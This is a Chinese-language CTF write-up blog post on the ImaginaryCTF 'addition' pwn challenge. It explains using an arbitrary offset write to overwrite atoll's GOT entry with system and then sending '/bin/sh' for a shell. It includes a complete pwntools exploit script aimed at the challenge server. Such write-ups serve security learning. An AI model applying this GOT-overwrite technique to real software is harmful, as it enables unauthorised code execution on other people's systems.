2025-09-06-ImaginaryCTF-addition

题目简介

ImaginaryCTF上pwn第二题,原题见:ImaginaryCTF-addition

漏洞点分析

首先固定节目,checksec看保护,如图:


可以看到开启了PIE和NX,且Partial RELRO,表示GOT表部分可写,没有canary
接下来进入IDA分析,只有一个main函数,如图:


分析发现main函数中无明显溢出点,同时也程序中也没有后门函数

但是我们注意到main函数提供了无限次的对buf变量的几乎任意偏移处写入的机会(除了&buf+1337处不允许写入)

此时双击buf变量,观察到其位于bss段,因此程序实际上提供了任意地址写的机会

此时首先想到的是利用上述的地址写能力去控返回地址

但是仔细分析之下发现,很难泄露栈地址,同时main函数最后并不是以ret指令结尾,即使控了栈大概率也不行

这时想到函数的GOT表实际上也是存储于程序区段中,可以通过bss+偏移的手段访问到,因此漏洞点确定,应该就是利用任意地址写取覆盖某个函数的GOT表

但是具体应该覆盖哪个函数?这个问题没有太好的公式化打法,目前感觉只能靠观察

首先,目标是调用system,因此参数个数不一致的不是好的选择,不然还要控参;其次优先选择参数便于控制的,最容易控制的是什么?当然是我们的输入

至此,可以确定,最简便的办法是在第一次循环的时候覆盖掉atoll函数的got表为system,第二次循环的add where之后输入”/bin/sh”,此时即可getshell

漏洞点利用

具体攻击时,分两个阶段:

第一,把atoll的GOT表项的地址相对buf的偏移在add where提示后输入;接着输入system函数在libc里的偏移-atoll在libc里的偏移,这样在add what相加后GOT表atoll的真实地址就变成system的真实地址了

最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
libcPath="./libc.so.6"
targetELF="./pwn"
LOCAL=1
REMOTE=2
DEBUG=3
def Lauch(mode=LOCAL):
if mode==LOCAL:
io=process(targetELF)
elif mode==REMOTE:
io=remote("addition.chal.imaginaryctf.org",1337)
elif mode==DEBUG:
io=gdb.debug(targetELF)
return io

elf=ELF(targetELF)
libc=ELF(libcPath)
atollGOT=elf.got["atoll"]
bufOffset=0x4069
targetAddr=atollGOT-bufOffset
atollLibc=libc.symbols["atoll"]
systemLibc=libc.symbols["system"]
libcOffset=systemLibc-atollLibc

ioTube=Lauch(REMOTE)
ioTube.recvuntil("add where? ")
ioTube.sendline(str(targetAddr))
ioTube.recvuntil("add what? ")
ioTube.sendline(str(libcOffset))

ioTube.recvuntil("add where? ")
ioTube.sendline("/bin/sh")
ioTube.interactive()

2025-09-06-ImaginaryCTF-addition
http://0x4a-210.github.io/2025/09/09/pwn刷题记录/其他技巧类/覆写GOT表/2025-09-06-ImaginaryCTF-addition/
Posted on
September 9, 2025
Licensed under